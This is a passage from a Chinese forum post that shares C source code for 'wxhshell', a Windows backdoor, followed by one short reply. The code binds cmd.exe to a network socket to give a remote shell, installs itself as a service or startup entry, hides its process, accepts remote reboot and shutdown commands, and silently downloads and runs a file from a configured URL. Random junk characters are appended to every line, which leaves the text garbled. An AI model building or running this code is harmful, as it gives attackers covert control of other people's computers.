  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FsOJmWZ  
  } J?#vL\8  
  else { Jjj;v2uSK  
*[ 0,QEy  
    switch(cmd[0]) { _(m455HZ  
  E71H=C 4  
  // 帮助 *wx%jbJo  
  case '?': { /,~]1&?}1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rkWy3X{%2<  
    break; ~eP~c"L  
  } v~AshmP  
  // 安装 URj)]wp/  
  case 'i': { X)j%v\#`U  
    if(Install()) D,p 2MBr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ux^ue9  
    else uIO?4\s&G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1+3-Z>^e  
    break; Vr& GsT  
    } )R<93`q  
  // 卸载 x{!+ 4W;S  
  case 'r': { #sF#<nHZ  
    if(Uninstall()) v0&DD&mp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yRQ1Szbjli  
    else [Pq |6dz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )L "Dt_t  
    break; !W&|kvT^  
    } mV"F<G; H  
  // 显示 wxhshell 所在路径 nzAySMD_  
  case 'p': { %sZ3Gpi  
    char svExeFile[MAX_PATH]; Zd-QZ<c";t  
    strcpy(svExeFile,"\n\r"); ! B`  
      strcat(svExeFile,ExeFile); PQF 40g1}  
        send(wsh,svExeFile,strlen(svExeFile),0); BUi,+NdIk  
    break; &q-P O  
    } &l`_D?{<#  
  // 重启 H%=;pD>o  
  case 'b': { ]{|l4e4P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _E0yzkS  
    if(Boot(REBOOT)) -; d{}F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i 28TH Jh  
    else { 1p/_U?H:|  
    closesocket(wsh); sy(bL _%  
    ExitThread(0); F!I9)PSj  
    } l%i*.b(  
    break; ZX+0{E8a  
    } 9}K K]m6u}  
  // 关机 (Cti,g~  
  case 'd': { :zfMRg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zl!  
    if(Boot(SHUTDOWN)) 2=7[r-*E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xk/:a}-l  
    else { I&1.}{G>F  
    closesocket(wsh); 4/SltWU  
    ExitThread(0); Kp;<z<  
    } Y!(w.G  
    break; uE,T Ea9;  
    } ,&O&h2=  
  // 获取shell JAwEu79sh  
  case 's': { U+ D#  
    CmdShell(wsh); t B}W )Eb  
    closesocket(wsh); VqOTrB1w/  
    ExitThread(0); H\<PGC"_Y  
    break; WdJeh:h  
  } =(,kjw88w  
  // 退出 YAi@EvzCVy  
  case 'x': { /Vv)00  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &MrG ,/  
    CloseIt(wsh); ^d9o \  
    break; S =sL:FC  
    } d-8g  
  // 离开 8l?@ o  
  case 'q': { q.ppYXJUXi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -HFyNk]>  
    closesocket(wsh); h9. Yux  
    WSACleanup(); JQ]MkP  
    exit(1); Sc]h^B^7  
    break; z5f3T D6,  
        } qV$0 ";d  
  } J,`I>^G  
  } U!lWP#m  
3/su1M[  
  // 提示信息  <j_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /w*HxtwFmD  
} 1Zp^X:(  
  } U}-hV@y  
t..@69  
  return; }OgZZ8-_M  
} aU] nh. a  
aQ1n1OBr  
// shell模块句柄 BQ!_i*14+  
int CmdShell(SOCKET sock) v)!^%D  
{ yMb.~A^$J  
STARTUPINFO si; Hn?v  /3  
ZeroMemory(&si,sizeof(si)); 1~*JenV-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =XUt?5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .YIb ny1  
PROCESS_INFORMATION ProcessInfo; zhACNz4tJ  
char cmdline[]="cmd"; G4f%=Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1FRpcE  
  return 0; N..@}}  
} I9 jzR~T  
Rd+ `b  
// 自身启动模式 x#tP)5n?s*  
int StartFromService(void) Ktf lbI!  
{ % wh>_Ho  
typedef struct 4--[.j*W  
{ |H-zm&h>'  
  DWORD ExitStatus; izP>w*/nO  
  DWORD PebBaseAddress; +dK;\wT  
  DWORD AffinityMask; ^@xn3zJ  
  DWORD BasePriority; 7Dx <Sr!  
  ULONG UniqueProcessId; Yg3emn|a  
  ULONG InheritedFromUniqueProcessId; E#+|.0*!s  
}   PROCESS_BASIC_INFORMATION; cpBTi  
' sTMUPg`  
PROCNTQSIP NtQueryInformationProcess; :+}Eo9  
h-RL`X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l=t$ XWh!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =xsTVT;sj  
p3{ 3[fDx  
  HANDLE             hProcess; SH M@H93  
  PROCESS_BASIC_INFORMATION pbi; g%f6D%d)A  
%$SO9PY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G>c:+`KS  
  if(NULL == hInst ) return 0; \TXCq@  
*Nh[T-y(s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "\M^jO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \#)w$O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G^/8lIj  
$|bdeQPr\  
  if (!NtQueryInformationProcess) return 0; )Fh5*UC  
|4|j5<5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vmK`QPu 2  
  if(!hProcess) return 0; l|&DI]gw  
=F"vL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [}t^+^/  
#=\nuT'oy  
  CloseHandle(hProcess); /L? ia  
w [7vxQ!-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JP*VR=0k?  
if(hProcess==NULL) return 0; (S1Co&SX  
r:Rk!z*  
HMODULE hMod; 79O'S du@  
char procName[255]; 1A.ecv'  
unsigned long cbNeeded; |#?:KvU97E  
|QB[f*y5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p? L*vcU  
 c 1o8   
  CloseHandle(hProcess); 0JM`*f%n  
y$C\b\hM  
if(strstr(procName,"services")) return 1; // 以服务启动 DZE@C^ 0%  
&Y3 r'"  
  return 0; // 注册表启动 pa8R;A70Dl  
} %UokR"  
oZwu`~h Y  
// 主模块 ~duF2m 72  
int StartWxhshell(LPSTR lpCmdLine) )LDBvpJyQ  
{ " ';K$&,[  
  SOCKET wsl; h"$)[k~  
BOOL val=TRUE; b:t|9 FE%  
  int port=0; I)wc&>Lc  
  struct sockaddr_in door; e .1! K  
Vc*"Q8aZ~  
  if(wscfg.ws_autoins) Install(); BOdd~f%&tn  
5e}adHjM  
port=atoi(lpCmdLine); P}8cSX9  
]wm<$+@  
if(port<=0) port=wscfg.ws_port; N/6! |F  
0 n}2D7  
  WSADATA data; <e'/z3TbRW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;(r,;S_`0  
!hWS%m@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L~|_CRw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 92XG|CWX  
  door.sin_family = AF_INET; mr2fNA>kR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wU(!fw\  
  door.sin_port = htons(port); gJBw6'Z  
/l>!7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~`X$b F  
closesocket(wsl); 7.FD16  
return 1; Nbb2wr9A  
} g1v=a  
2$TwD*[  
  if(listen(wsl,2) == INVALID_SOCKET) { #Oi{7~  
closesocket(wsl); "6q@}sz!  
return 1; A9Icn>3?`(  
} V `7(75  
  Wxhshell(wsl); F4PWL|1  
  WSACleanup(); U%)-_ *`z  
oLIgj,k{*  
return 0; Qv6-,6<  
; ,n}>iTE  
} =z!/:M  
t?wVh0gT  
// 以NT服务方式启动 RQYD#4|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |eI!wgQx  
{ tUi@'%>=5  
DWORD   status = 0; {Y|?~ha#  
  DWORD   specificError = 0xfffffff; ^h!}jvqE  
9AJ"C7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'U-8w@\Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wvRwb   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q zp!)i  
  serviceStatus.dwWin32ExitCode     = 0; <:4b4Nl  
  serviceStatus.dwServiceSpecificExitCode = 0; wOg#J  
  serviceStatus.dwCheckPoint       = 0; 0BQ{ZT-Kh  
  serviceStatus.dwWaitHint       = 0; U".5x~UC  
t:"%d9]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {q! :t0X.Y  
  if (hServiceStatusHandle==0) return; Pk>S;KT.  
c#-*]6x  
status = GetLastError(); _rg*K  
  if (status!=NO_ERROR) OXnTD!m>{  
{ *dN_=32u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k}C4:?AT  
    serviceStatus.dwCheckPoint       = 0; $WXO1o(O  
    serviceStatus.dwWaitHint       = 0; .}Eckqkp  
    serviceStatus.dwWin32ExitCode     = status; p8FXlTk  
    serviceStatus.dwServiceSpecificExitCode = specificError; VTwQD"oB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =IKgi-l*  
    return; q07H{{h/B  
  } UF$O@l  
7AlL,&+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p3>Md?e  
  serviceStatus.dwCheckPoint       = 0; my0iE:  
  serviceStatus.dwWaitHint       = 0; V|~o`(]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "T*1C=  
} v#EFklOP  
s bd$.6 |&  
// 处理NT服务事件,比如:启动、停止 uPxJwWXO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xIwILY|W=  
{ `"o{MaFA  
switch(fdwControl) B#?rW*yEe  
{ ;2$0j1>  
case SERVICE_CONTROL_STOP: ?L0|$#Iw  
  serviceStatus.dwWin32ExitCode = 0; [] el4.J,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K>C@oE[W  
  serviceStatus.dwCheckPoint   = 0; V(8,94vm  
  serviceStatus.dwWaitHint     = 0; 'rTJ*1i  
  { W23Q>x&S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |3^U\r^zo  
  } `sDLxgwI  
  return; c3 )jsf  
case SERVICE_CONTROL_PAUSE: pRzL}-[/v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )%PMDG|  
  break; hiEYIx  
case SERVICE_CONTROL_CONTINUE: 3 q J00A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -2(?O`tZ  
  break; ?rA3<j  
case SERVICE_CONTROL_INTERROGATE: =z]rZSq*o  
  break; 7XLqP  
}; ^tjw }sE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T "hjL  
} Pd-LDs+Ga  
|28'<BL  
// 标准应用程序主函数 8};kNW^2m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5423Ky<  
{ ijUu{PG`X  
tTF<DD}8  
// 获取操作系统版本 <h;_:  
OsIsNt=GetOsVer(); `<g6^P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5Zd oem  
FJ4,|x3v[x  
  // 从命令行安装 a+\<2NXYD  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5 ba e-  
I$p1^8~L  
  // 下载执行文件 <QO1Yg7}  
if(wscfg.ws_downexe) { 0kNKt(_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D4C:%D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7qZC+x6_L  
} d7mn(= &  
}2;iIw`  
if(!OsIsNt) { <:NahxIlu  
// 如果时win9x,隐藏进程并且设置为注册表启动 B-$?5Ft!  
HideProc(); %l14K_  
StartWxhshell(lpCmdLine); *v]s&$WyO  
} [ZC\8tP`V  
else 93:oXyFjD  
  if(StartFromService()) 97$Q?a8S@  
  // 以服务方式启动 #/jug[wf*!  
  StartServiceCtrlDispatcher(DispatchTable); X d o\DQn  
else ?Z_T3/ f  
  // 普通方式启动 Kh[l};/F  
  StartWxhshell(lpCmdLine); c;Tp_e@  
~*"ZF-c,  
return 0; 9(O eH7  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五